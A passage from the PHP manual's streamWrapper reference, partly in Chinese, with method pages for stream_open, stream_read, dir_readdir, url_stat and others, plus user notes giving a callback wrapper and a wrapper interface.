    const WRAPPER_NAME = 'callback';

    public $context;
    private $_cb;
    private $_eof = false;

    private static $_isRegistered = false;

    public static function getContext($cb)
    {
        if (!self::$_isRegistered) {
            stream_wrapper_register(self::WRAPPER_NAME, get_class());
            self::$_isRegistered = true;
        }
        if (!is_callable($cb)) return false;
        return stream_context_create(array(self::WRAPPER_NAME => array('cb' => $cb)));
    }

    public function stream_open($path, $mode, $options, &$opened_path)
    {
        if (!preg_match('/^r[bt]?$/', $mode) || !$this->context) return false;
        $opt = stream_context_get_options($this->context);
        if (!is_array($opt[self::WRAPPER_NAME]) ||
            !isset($opt[self::WRAPPER_NAME]['cb']) ||
            !is_callable($opt[self::WRAPPER_NAME]['cb'])) return false;
        $this->_cb = $opt[self::WRAPPER_NAME]['cb'];
        return true;
    }

    public function stream_read($count)
    {
        if ($this->_eof || !$count) return '';
        if (($s = call_user_func($this->_cb, $count)) == '') $this->_eof = true;
        return $s;
    }

    public function stream_eof()
    {
        return $this->_eof;
    }
}

class Test {
    private $_s;
    public function __construct($s)
    {
        $this->_s = $s;
    }
    public function read($count) {
        return fread($this->_s, $count);
    }
}

$t = new Test(fopen('/etc/services', 'r'));
$fd = fopen('callback://', 'r', false, CallbackUrl::getContext(array($t, 'read')));
while(($buf = fread($fd, 128)) != '') {
    print $buf;
}
?>
isaac dot z dot no dot foster at spam dot gmail dot please dot com 22-Oct-2010 09:12
It's worth noting that the interface defined by yannick at gmail should not always be implemented by a stream wrapper class, as several of the methods should not be implemented if the class has no use for them (as per the manual).

Specifically, mkdir, rename, rmdir, and unlink are methods that "should not be defined" if the wrapper has no use for them. The consequence is that the appropriate error message will not be returned.

If the interface is implemented, you won't have the flexibility to not implement those methods.

Not trying to be academic, but it was useful for me.
yannick dot battail at gmail dot com 17-Jul-2009 02:38
a php interface for wrapper

<?php
interface WrapperInterface
{
    /**
     * resource context
     *
     * @var resource
     */
    //public $context;

    /**
     * constructor
     *
     */
    public function __construct();

    /**
     *
     *
     * @return bool
     */
    public function dir_closedir();

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $options
     * @return bool
     */
    public function dir_opendir($path , $options);

    /**
     * Enter description here...
     *
     * @return string
     */
    public function dir_readdir();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function dir_rewinddir();

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $mode
     * @param int $options
     * @return bool
     */
    public function mkdir($path , $mode , $options);

    /**
     * Enter description here...
     *
     * @param string $path_from
     * @param string $path_to
     * @return bool
     */
    public function rename($path_from , $path_to);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $options
     * @return bool
     */
    public function rmdir($path , $options);

    /**
     * Enter description here...
     *
     * @param int $cast_as
     * @return resource
     */
    public function stream_cast($cast_as);

    /**
     * Enter description here...
     *
     */
    public function stream_close();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function stream_eof();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function stream_flush();

    /**
     * Enter description here...
     *
     * @param mode $operation
     * @return bool
     */
    public function stream_lock($operation);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param string $mode
     * @param int $options
     * @param string &$opened_path
     * @return bool
     */
    public function stream_open($path , $mode , $options , &$opened_path);

    /**
     * Enter description here...
     *
     * @param int $count
     * @return string
     */
    public function stream_read($count);

    /**
     * Enter description here...
     *
     * @param int $offset
     * @param int $whence = SEEK_SET
     * @return bool
     */
    public function stream_seek($offset , $whence = SEEK_SET);

    /**
     * Enter description here...
     *
     * @param int $option
     * @param int $arg1
     * @param int $arg2
     * @return bool
     */
    public function stream_set_option($option , $arg1 , $arg2);

    /**
     * Enter description here...
     *
     * @return array
     */
    public function stream_stat();

    /**
     * Enter description here...
     *
     * @return int
     */
    public function stream_tell();

    /**
     * Enter description here...
     *
     * @param string $data
     * @return int
     */
    public function stream_write($data);

    /**
     * Enter description here...
     *
     * @param string $path
     * @return bool
     */
    public function unlink($path);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $flags
     * @return array
     */
    public function url_stat($path , $flags);
}

?>


Constructs a new stream wrapper

  • ? streamWrapper
  • streamWrapper::__destruct ?
  • PHP Manual
  • streamWrapper
  • Constructs a new stream wrapper

streamWrapper::__construct

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::__construct — Constructs a new stream wrapper

说明

public streamWrapper::__construct()

Called when opening the stream wrapper, right before streamWrapper::stream_open().

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Destructs an existing stream wrapper

  • ? streamWrapper::__construct
  • streamWrapper::dir_closedir ?
  • PHP Manual
  • streamWrapper
  • Destructs an existing stream wrapper

streamWrapper::__destruct

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::__destruct — Destructs an existing stream wrapper

说明

public streamWrapper::__destruct()

Called when closing the stream wrapper, right before streamWrapper::stream_flush().

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Close directory handle

  • ? streamWrapper::__destruct
  • streamWrapper::dir_opendir ?
  • PHP Manual
  • streamWrapper
  • Close directory handle

streamWrapper::dir_closedir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_closedir — Close directory handle

说明

public streamWrapper::dir_closedir(): bool

This method is called in response to closedir().

Any resources which were locked, or allocated, during opening and use of the directory stream should be released.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • closedir() - 关闭目录句柄
  • streamWrapper::dir_opendir() - Open directory handle

User Contributed Notes

There are no user contributed notes for this page.


Open directory handle

  • ? streamWrapper::dir_closedir
  • streamWrapper::dir_readdir ?
  • PHP Manual
  • streamWrapper
  • Open directory handle

streamWrapper::dir_opendir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_opendir — Open directory handle

说明

public streamWrapper::dir_opendir(string $path, int $options): bool

This method is called in response to opendir().

参数

path

Specifies the URL that was passed to opendir().

Note:

The URL can be broken apart with parse_url().

options

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • opendir() - 打开目录句柄
  • streamWrapper::dir_closedir() - Close directory handle
  • parse_url() - 解析 URL，返回其组成部分

User Contributed Notes

There are no user contributed notes for this page.


Read entry from directory handle

  • ? streamWrapper::dir_opendir
  • streamWrapper::dir_rewinddir ?
  • PHP Manual
  • streamWrapper
  • Read entry from directory handle

streamWrapper::dir_readdir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_readdir — Read entry from directory handle

说明

public streamWrapper::dir_readdir(): string

This method is called in response to readdir().

参数

此函数没有参数。

返回值

Should return string representing the next filename, or false if there is no next file.

Note:

The return value will be casted to string.

错误／异常

调用此方法失败将给出 E_WARNING（未实现）。

示例

Example #1 Listing files from tar archives

<?php
class streamWrapper {
protected $fp;

public function dir_opendir($path, $options) {
$url = parse_url($path);

$path = $url["host"] . $url["path"];

if (!is_readable($path)) {
trigger_error("$path isn't readable for me", E_USER_NOTICE);
return false;
}
if (!is_file($path)) {
trigger_error("$path isn't a file", E_USER_NOTICE);
return false;
}

$this->fp = fopen($path, "rb");
return true;
}

public function dir_readdir() {
// Extract the header for this entry
$header = fread($this->fp, 512);
$data = unpack("a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1filetype/a100link/a100linkedfile", $header);

// Trim the filename and filesize
$filename = trim($data["filename"]);

// No filename? We are the end of the archive
if (!$filename) {
return false;
}

$octal_bytes = trim($data["size"]);
// Filesize is defined in octects
$bytes = octdec($octal_bytes);

// tar rounds up filesizes up to multiple of 512 bytes (zero filled)
$rest = $bytes % 512;
if ($rest > 0) {
$bytes += 512 - $rest;
}

// Seek over the file
fseek($this->fp, $bytes, SEEK_CUR);

return $filename;
}

public function dir_closedir() {
return fclose($this->fp);
}

public function dir_rewinddir() {
return fseek($this->fp, 0, SEEK_SET);
}
}

stream_wrapper_register("tar", "streamWrapper");
$handle = opendir("tar://example.tar");
while (false !== ($file = readdir($handle))) {
var_dump($file);
}

echo "Rewinding..\n";
rewind($handle);
var_dump(readdir($handle));

closedir($handle);
?>

以上示例的输出类似于：

string(13) "construct.xml"
string(16) "dir-closedir.xml"
string(15) "dir-opendir.xml"
string(15) "dir-readdir.xml"
string(17) "dir-rewinddir.xml"
string(9) "mkdir.xml"
string(10) "rename.xml"
string(9) "rmdir.xml"
string(15) "stream-cast.xml"
string(16) "stream-close.xml"
string(14) "stream-eof.xml"
string(16) "stream-flush.xml"
string(15) "stream-lock.xml"
string(15) "stream-open.xml"
string(15) "stream-read.xml"
string(15) "stream-seek.xml"
string(21) "stream-set-option.xml"
string(15) "stream-stat.xml"
string(15) "stream-tell.xml"
string(16) "stream-write.xml"
string(10) "unlink.xml"
string(12) "url-stat.xml"
Rewinding..
string(13) "construct.xml"

参见

  • readdir() - 从目录句柄中读取条目

User Contributed Notes

There are no user contributed notes for this page.


Rewind directory handle

  • ? streamWrapper::dir_readdir
  • streamWrapper::mkdir ?
  • PHP Manual
  • streamWrapper
  • Rewind directory handle

streamWrapper::dir_rewinddir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_rewinddir — Rewind directory handle

说明

public streamWrapper::dir_rewinddir(): bool

This method is called in response to rewinddir().

Should reset the output generated by streamWrapper::dir_readdir(). i.e.: The next call to streamWrapper::dir_readdir() should return the first entry in the location returned by streamWrapper::dir_opendir().

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • rewinddir() - 倒回目录句柄
  • streamWrapper::dir_readdir() - Read entry from directory handle

User Contributed Notes

There are no user contributed notes for this page.


Create a directory

  • ? streamWrapper::dir_rewinddir
  • streamWrapper::rename ?
  • PHP Manual
  • streamWrapper
  • Create a directory

streamWrapper::mkdir

(PHP 5, PHP 7, PHP 8)

streamWrapper::mkdir — Create a directory

说明

public streamWrapper::mkdir(string $path, int $mode, int $options): bool

This method is called in response to mkdir().

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support creating directories.

参数

path

Directory which should be created.

mode

The value passed to mkdir().

options

A bitwise mask of values, such as STREAM_MKDIR_RECURSIVE.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

调用此方法失败将给出 E_WARNING（未实现）。

注释

Note:

当合法的上下文传递给调用函数时，属性 streamWrapper::$context 会被改变。

参见

  • mkdir() - 新建目录
  • streamwrapper::rmdir() - Removes a directory

User Contributed Notes

There are no user contributed notes for this page.


Renames a file or directory

  • ? streamWrapper::mkdir
  • streamWrapper::rmdir ?
  • PHP Manual
  • streamWrapper
  • Renames a file or directory

streamWrapper::rename

(PHP 5, PHP 7, PHP 8)

streamWrapper::rename — Renames a file or directory

说明

public streamWrapper::rename(string $path_from, string $path_to): bool

This method is called in response to rename().

Should attempt to rename path_from to path_to

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support renaming files.

参数

path_from

The URL to the current file.

path_to

The URL which the path_from should be renamed to.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

调用此方法失败将给出 E_WARNING（未实现）。

注释

Note:

当合法的上下文传递给调用函数时，属性 streamWrapper::$context 会被改变。

参见

  • rename() - 重命名一个文件或目录

User Contributed Notes

There are no user contributed notes for this page.


Removes a directory

  • ? streamWrapper::rename
  • streamWrapper::stream_cast ?
  • PHP Manual
  • streamWrapper
  • Removes a directory

streamWrapper::rmdir

(PHP 5, PHP 7, PHP 8)

streamWrapper::rmdir — Removes a directory

说明

public streamWrapper::rmdir(string $path, int $options): bool

This method is called in response to rmdir().

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support removing directories.

参数

path

The directory URL which should be removed.

options

A bitwise mask of values, such as STREAM_MKDIR_RECURSIVE.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

调用此方法失败将给出 E_WARNING（未实现）。

注释

Note:

当合法的上下文传递给调用函数时，属性 streamWrapper::$context 会被改变。

参见

  • rmdir() - 删除目录
  • streamwrapper::mkdir() - Create a directory
  • streamwrapper::unlink() - Delete a file

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the underlaying resource

  • ? streamWrapper::rmdir
  • streamWrapper::stream_close ?
  • PHP Manual
  • streamWrapper
  • Retrieve the underlaying resource

streamWrapper::stream_cast

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

streamWrapper::stream_cast — Retrieve the underlaying resource

说明

public streamWrapper::stream_cast(int $cast_as): resource

This method is called in response to stream_select().

参数

cast_as

Can be STREAM_CAST_FOR_SELECT when stream_select() is calling stream_cast() or STREAM_CAST_AS_STREAM when stream_cast() is called for other uses.

返回值

Should return the underlying stream resource used by the wrapper, or false.

参见

  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds

User Contributed Notes

There are no user contributed notes for this page.


Close a resource

  • ? streamWrapper::stream_cast
  • streamWrapper::stream_eof ?
  • PHP Manual
  • streamWrapper
  • Close a resource

streamWrapper::stream_close

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_close — Close a resource

说明

public streamWrapper::stream_close(): void

This method is called in response to fclose().

All resources that were locked, or allocated, by the wrapper should be released.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • fclose() - 关闭一个已打开的文件指针
  • streamWrapper::dir_closedir() - Close directory handle

User Contributed Notes

There are no user contributed notes for this page.


Tests for end-of-file on a file pointer

  • ? streamWrapper::stream_close
  • streamWrapper::stream_flush ?
  • PHP Manual
  • streamWrapper
  • Tests for end-of-file on a file pointer

streamWrapper::stream_eof

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_eof — Tests for end-of-file on a file pointer

说明

public streamWrapper::stream_eof(): bool

This method is called in response to feof().

参数

此函数没有参数。

返回值

Should return true if the read/write position is at the end of the stream and if no more data is available to be read, or false otherwise.

注释

Warning

When reading the whole file (for example, with file_get_contents()), PHP will call streamWrapper::stream_read() followed by streamWrapper::stream_eof() in a loop but as long as streamWrapper::stream_read() returns a non-empty string, the return value of streamWrapper::stream_eof() is ignored.

参见

  • feof() - 测试文件指针是否到了文件结束的位置

User Contributed Notes

There are no user contributed notes for this page.


Flushes the output

  • ? streamWrapper::stream_eof
  • streamWrapper::stream_lock ?
  • PHP Manual
  • streamWrapper
  • Flushes the output

streamWrapper::stream_flush

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_flush — Flushes the output

说明

public streamWrapper::stream_flush(): bool

This method is called in response to fflush() and when the stream is being closed while any unflushed data has been written to it before.

If you have cached data in your stream but not yet stored it into the underlying storage, you should do so now.

参数

此函数没有参数。

返回值

Should return true if the cached data was successfully stored (or if there was no data to store), or false if the data could not be stored.

注释

Note:

If not implemented, false is assumed as the return value.

参见

  • fflush() - 将缓冲内容输出到文件

User Contributed Notes

There are no user contributed notes for this page.


Advisory file locking

  • ? streamWrapper::stream_flush
  • streamWrapper::stream_metadata ?
  • PHP Manual
  • streamWrapper
  • Advisory file locking

streamWrapper::stream_lock

(PHP 5, PHP 7, PHP 8)

streamWrapper::stream_lock — Advisory file locking

说明

public streamWrapper::stream_lock(int $operation): bool

This method is called in response to flock(), when file_put_contents() (when flags contains LOCK_EX), stream_set_blocking() and when closing the stream (LOCK_UN).

参数

operation

operation is one of the following:

  • LOCK_SH to acquire a shared lock (reader).
  • LOCK_EX to acquire an exclusive lock (writer).
  • LOCK_UN to release a lock (shared or exclusive).
  • LOCK_NB if you don't want flock() to block while locking. (not supported on Windows)

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

Emits E_WARNING if call to this method fails (i.e. not implemented).

参见

  • stream_set_blocking() - 为资源流设置阻塞或者阻塞模式
  • flock() - 可移植的协同文件锁定

User Contributed Notes

There are no user contributed notes for this page.


Change stream metadata

  • ? streamWrapper::stream_lock
  • streamWrapper::stream_open ?
  • PHP Manual
  • streamWrapper
  • Change stream metadata

streamWrapper::stream_metadata

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

streamWrapper::stream_metadata — Change stream metadata

说明

public streamWrapper::stream_metadata(string $path, int $option, mixed $value): bool

This method is called to set metadata on the stream. It is called when one of the following functions is called on a stream URL:

  • touch()
  • chmod()
  • chown()
  • chgrp()
Please note that some of these operations may not be available on your system.

参数

path

The file path or URL to set metadata. Note that in the case of a URL, it must be a :// delimited URL. Other URL forms are not supported.

option

One of:

  • STREAM_META_TOUCH (The method was called in response to touch())
  • STREAM_META_OWNER_NAME (The method was called in response to chown() with string parameter)
  • STREAM_META_OWNER (The method was called in response to chown())
  • STREAM_META_GROUP_NAME (The method was called in response to chgrp())
  • STREAM_META_GROUP (The method was called in response to chgrp())
  • STREAM_META_ACCESS (The method was called in response to chmod())

value

If option is

  • STREAM_META_TOUCH: Array consisting of two arguments of the touch() function.
  • STREAM_META_OWNER_NAME or STREAM_META_GROUP_NAME: The name of the owner user/group as string.
  • STREAM_META_OWNER or STREAM_META_GROUP: The value owner user/group argument as int.
  • STREAM_META_ACCESS: The argument of the chmod() as int.

返回值

成功时返回 true， 或者在失败时返回 false。 If option is not implemented, false should be returned.

参见

  • touch() - 设定文件的访问和修改时间
  • chmod() - 改变文件模式
  • chown() - 改变文件的所有者
  • chgrp() - 改变文件所属的组

User Contributed Notes

There are no user contributed notes for this page.


Opens file or URL

  • ? streamWrapper::stream_metadata
  • streamWrapper::stream_read ?
  • PHP Manual
  • streamWrapper
  • Opens file or URL

streamWrapper::stream_open

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_open — Opens file or URL

说明

public streamWrapper::stream_open(
string $path,
string $mode,
int $options,
?string &$opened_path
): bool

This method is called immediately after the wrapper is initialized (f.e. by fopen() and file_get_contents()).

参数

path

Specifies the URL that was passed to the original function.

Note:

The URL can be broken apart with parse_url(). Note that only URLs delimited by :// are supported. : and :/ while technically valid URLs, are not.

mode

The mode used to open the file, as detailed for fopen().

Note:

Remember to check if the mode is valid for the path requested.

options

Holds additional flags set by the streams API. It can hold one or more of the following values OR'd together.

Flag | Description
STREAM_USE_PATH | If path is relative, search for the resource using the include_path.
STREAM_REPORT_ERRORS | If this flag is set, you are responsible for raising errors using trigger_error() during opening of the stream. If this flag is not set, you should not raise any errors.

opened_path

If the path is opened successfully, and STREAM_USE_PATH is set in options, opened_path should be set to the full path of the file/resource that was actually opened.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

调用此方法失败将给出 E_WARNING（未实现）。

注释

Note:

当合法的上下文传递给调用函数时，属性 streamWrapper::$context 会被改变。

参见

  • fopen() - 打开文件或者 URL
  • parse_url() - 解析 URL，返回其组成部分

User Contributed Notes

There are no user contributed notes for this page.


Read from stream

  • ? streamWrapper::stream_open
  • streamWrapper::stream_seek ?
  • PHP Manual
  • streamWrapper
  • Read from stream

streamWrapper::stream_read

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_read — Read from stream

说明

public streamWrapper::stream_read(int $count): string|false

This method is called in response to fread() and fgets().

Note:

Remember to update the read/write position of the stream (by the number of bytes that were successfully read).

参数

count

How many bytes of data from the current position should be returned.

返回值

If there are less than count bytes available, as many as are available should be returned. If no more data is available, an empty string should be returned. To signal that reading failed, false should be returned.

错误／异常

调用此方法失败将给出 E_WARNING（未实现）。

Note:

If the return value is longer then count an E_WARNING error will be emitted, and excess data will be lost.

注释

Note:

streamWrapper::stream_eof() is called directly after calling streamWrapper::stream_read() to check if EOF has been reached. If not implemented, EOF is assumed.

Warning

When reading the whole file (for example, with file_get_contents()), PHP will call streamWrapper::stream_read() followed by streamWrapper::stream_eof() in a loop but as long as streamWrapper::stream_read() returns a non-empty string, the return value of streamWrapper::stream_eof() is ignored.

参见

  • fread() - 读取文件（可安全用于二进制文件）
  • fgets() - 从文件指针中读取一行

User Contributed Notes

There are no user contributed notes for this page.


Seeks to specific location in a stream

  • ? streamWrapper::stream_read
  • streamWrapper::stream_set_option ?
  • PHP Manual
  • streamWrapper
  • Seeks to specific location in a stream

streamWrapper::stream_seek

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_seek — Seeks to specific location in a stream

说明

public streamWrapper::stream_seek(int $offset, int $whence = SEEK_SET): bool

This method is called in response to fseek().

The read/write position of the stream should be updated according to the offset and whence.

参数

offset

The stream offset to seek to.

whence

Possible values:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.
  • SEEK_END - Set position to end-of-file plus offset.

Note: The current implementation never sets whence to SEEK_CUR; instead such seeks are internally converted to SEEK_SET seeks.

返回值

Return true if the position was updated, false otherwise.

注释

Note:

If not implemented, false is assumed as the return value.

Note:

Upon success,
streamWrapper::stream_tell() is called directly after
calling streamWrapper::stream_seek(). If
streamWrapper::stream_tell() fails, the return
value to the caller function will be set to false

Note:

Not all seeks operations on the stream will result in this function being called. PHP streams have read buffering enabled by default (see also stream_set_read_buffer()) and seeking may be done by merely moving the buffer pointer.

参见

  • fseek() - 在文件指针中定位

User Contributed Notes

fb at tigermedia dot dk 27-May-2014 08:55
Please notice that the return value of this function is a boolean but the return value of fseek is 0 for ok and -1 for failure.

Please use this implementation when working with files:

function stream_seek($offset, $whence) {
        if(0 === fseek($this->_handler, $offset, $whence)){
            return true;
        }
        return false;
}


Change stream options

  • ? streamWrapper::stream_seek
  • streamWrapper::stream_stat ?
  • PHP Manual
  • streamWrapper
  • Change stream options

streamWrapper::stream_set_option

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

streamWrapper::stream_set_option — Change stream options

说明

public streamWrapper::stream_set_option(int $option, int $arg1, int $arg2): bool

This method is called to set options on the stream.

参数

option

One of:

  • STREAM_OPTION_BLOCKING (The method was called in response to stream_set_blocking())
  • STREAM_OPTION_READ_TIMEOUT (The method was called in response to stream_set_timeout())
  • STREAM_OPTION_WRITE_BUFFER (The method was called in response to stream_set_write_buffer())

arg1

If option is

  • STREAM_OPTION_BLOCKING: requested blocking mode (1 meaning block 0 not blocking).
  • STREAM_OPTION_READ_TIMEOUT: the timeout in seconds.
  • STREAM_OPTION_WRITE_BUFFER: buffer mode (STREAM_BUFFER_NONE or STREAM_BUFFER_FULL).

arg2

If option is

  • STREAM_OPTION_BLOCKING: This option is not set.
  • STREAM_OPTION_READ_TIMEOUT: the timeout in microseconds.
  • STREAM_OPTION_WRITE_BUFFER: the requested buffer size.

返回值

成功时返回 true， 或者在失败时返回 false。 If option is not implemented, false should be returned.

参见

  • stream_set_blocking() - 为资源流设置阻塞或者阻塞模式
  • stream_set_timeout() - Set timeout period on a stream
  • stream_set_write_buffer() - Sets write file buffering on the given stream

User Contributed Notes

There are no user contributed notes for this page.


Retrieve information about a file resource

  • ? streamWrapper::stream_set_option
  • streamWrapper::stream_tell ?
  • PHP Manual
  • streamWrapper
  • Retrieve information about a file resource

streamWrapper::stream_stat

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_stat — Retrieve information about a file resource

说明

public streamWrapper::stream_stat(): array|false

This method is called in response to fstat().

参数

此函数没有参数。

返回值

See stat().

错误／异常

调用此方法失败将给出 E_WARNING（未实现）。

参见

  • stat() - 给出文件的信息
  • streamwrapper::url_stat() - Retrieve information about a file

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the current position of a stream

  • ? streamWrapper::stream_stat
  • streamWrapper::stream_truncate ?
  • PHP Manual
  • streamWrapper
  • Retrieve the current position of a stream

streamWrapper::stream_tell

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_tell — Retrieve the current position of a stream

说明

public streamWrapper::stream_tell(): int

This method is called in response to fseek() to determine the current position.

参数

此函数没有参数。

返回值

Should return the current position of the stream.

参见

  • streamWrapper::stream_tell()

User Contributed Notes

There are no user contributed notes for this page.


Truncate stream

  • ? streamWrapper::stream_tell
  • streamWrapper::stream_write ?
  • PHP Manual
  • streamWrapper
  • Truncate stream

streamWrapper::stream_truncate

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

streamWrapper::stream_truncate — Truncate stream

说明

public streamWrapper::stream_truncate(int $new_size): bool

Will respond to truncation, e.g., through ftruncate().

参数

new_size

The new size.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ftruncate() - 将文件截断到指定的长度

User Contributed Notes

There are no user contributed notes for this page.


Write to stream

  • ? streamWrapper::stream_truncate
  • streamWrapper::unlink ?
  • PHP Manual
  • streamWrapper
  • Write to stream

streamWrapper::stream_write

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_write — Write to stream

说明

public streamWrapper::stream_write(string $data): int

This method is called in response to fwrite().

Note:

Remember to update the current position of the stream by number of bytes that were successfully written.

参数

data

Should be stored into the underlying stream.

Note:

If there is not enough room in the underlying stream, store as much as possible.

返回值

Should return the number of bytes that were successfully stored, or 0 if none could be stored.

错误／异常

调用此方法失败将给出 E_WARNING（未实现）。

Note:

If the return value is greater the length of data, E_WARNING will be emitted and the return value will truncated to its length.

参见

  • fwrite() - 写入文件（可安全用于二进制文件）

User Contributed Notes

There are no user contributed notes for this page.


Delete a file

  • ? streamWrapper::stream_write
  • streamWrapper::url_stat ?
  • PHP Manual
  • streamWrapper
  • Delete a file

streamWrapper::unlink

(PHP 5, PHP 7, PHP 8)

streamWrapper::unlink — Delete a file

说明

public streamWrapper::unlink(string $path): bool

This method is called in response to unlink().

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support removing files.

参数

path

The file URL which should be deleted.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

调用此方法失败将给出 E_WARNING（未实现）。

注释

Note:

当合法的上下文传递给调用函数时，属性 streamWrapper::$context 会被改变。

参见

  • unlink() - 删除文件
  • streamWrapper::rmdir() - Removes a directory

User Contributed Notes

There are no user contributed notes for this page.


Retrieve information about a file

  • ? streamWrapper::unlink
  • Stream 函数 ?
  • PHP Manual
  • streamWrapper
  • Retrieve information about a file

streamWrapper::url_stat

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::url_stat — Retrieve information about a file

说明

public streamWrapper::url_stat(string $path, int $flags): array|false

This method is called in response to all stat() related functions, such as:

  • copy()
  • fileperms()
  • fileinode()
  • filesize()
  • fileowner()
  • filegroup()
  • fileatime()
  • filemtime()
  • filectime()
  • filetype()
  • is_writable()
  • is_readable()
  • is_executable()
  • is_file()
  • is_dir()
  • is_link()
  • file_exists()
  • lstat()
  • stat()
  • SplFileInfo::getPerms()
  • SplFileInfo::getInode()
  • SplFileInfo::getSize()
  • SplFileInfo::getOwner()
  • SplFileInfo::getGroup()
  • SplFileInfo::getATime()
  • SplFileInfo::getMTime()
  • SplFileInfo::getCTime()
  • SplFileInfo::getType()
  • SplFileInfo::isWritable()
  • SplFileInfo::isReadable()
  • SplFileInfo::isExecutable()
  • SplFileInfo::isFile()
  • SplFileInfo::isDir()
  • SplFileInfo::isLink()
  • RecursiveDirectoryIterator::hasChildren()

参数

path

The file path or URL to stat. Note that in the case of a URL, it must be a :// delimited URL. Other URL forms are not supported.

flags

Holds additional flags set by the streams API. It can hold one or more of the following values OR'd together.

Flag | Description
STREAM_URL_STAT_LINK | For resources with the ability to link to other resource (such as an HTTP Location: forward, or a filesystem symlink). This flag specified that only information about the link itself should be returned, not the resource pointed to by the link. This flag is set in response to calls to lstat(), is_link(), or filetype().
STREAM_URL_STAT_QUIET | If this flag is set, your wrapper should not raise any errors. If this flag is not set, you are responsible for reporting errors using the trigger_error() function during stating of the path.

返回值

Should return an array with the same elements as stat() does. Unknown or unavailable values should be set to a rational value (usually 0). Special attention should be payed to mode as documented under stat(). Should return false on failure.

错误／异常

调用此方法失败将给出 E_WARNING（未实现）。

注释

Note:

当合法的上下文传递给调用函数时，属性 streamWrapper::$context 会被改变。

参见

  • stat() - 给出文件的信息
  • streamwrapper::stream_stat() - Retrieve information about a file resource

User Contributed Notes

There are no user contributed notes for this page.


Stream 函数

Table of Contents

  • stream_bucket_append — Append bucket to brigade
  • stream_bucket_make_writeable — Returns a bucket object from the brigade to operate on
  • stream_bucket_new — Create a new bucket for use on the current stream
  • stream_bucket_prepend — Prepend bucket to brigade
  • stream_context_create — 创建资源流上下文
  • stream_context_get_default — Retrieve the default stream context
  • stream_context_get_options — 获取资源流/数据包/上下文的参数
  • stream_context_get_params — Retrieves parameters from a context
  • stream_context_set_default — Set the default stream context
  • stream_context_set_option — 对资源流、数据包或者上下文设置参数
  • stream_context_set_options — Sets options on the specified context
  • stream_context_set_params — Set parameters for a stream/wrapper/context
  • stream_copy_to_stream — Copies data from one stream to another
  • stream_filter_append — Attach a filter to a stream
  • stream_filter_prepend — Attach a filter to a stream
  • stream_filter_register — Register a user defined stream filter
  • stream_filter_remove — 从资源流里移除某个过滤器
  • stream_get_contents — 读取资源流到一个字符串
  • stream_get_filters — 获取已注册的数据流过滤器列表
  • stream_get_line — 从资源流里读取一行直到给定的定界符
  • stream_get_meta_data — 从流或文件指针中获取 header/meta 数据
  • stream_get_transports — 获取已注册的套接字传输协议列表
  • stream_get_wrappers — 获取已注册的流类型
  • stream_is_local — Checks if a stream is a local stream
  • stream_isatty — Check if a stream is a TTY
  • stream_notification_callback — A callback function for the notification context parameter
  • stream_register_wrapper — 别名 stream_wrapper_register
  • stream_resolve_include_path — Resolve filename against the include path
  • stream_select — Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds
  • stream_set_blocking — 为资源流设置阻塞或者阻塞模式
  • stream_set_chunk_size — 设置资源流区块大小
  • stream_set_read_buffer — Set read file buffering on the given stream
  • stream_set_timeout — Set timeout period on a stream
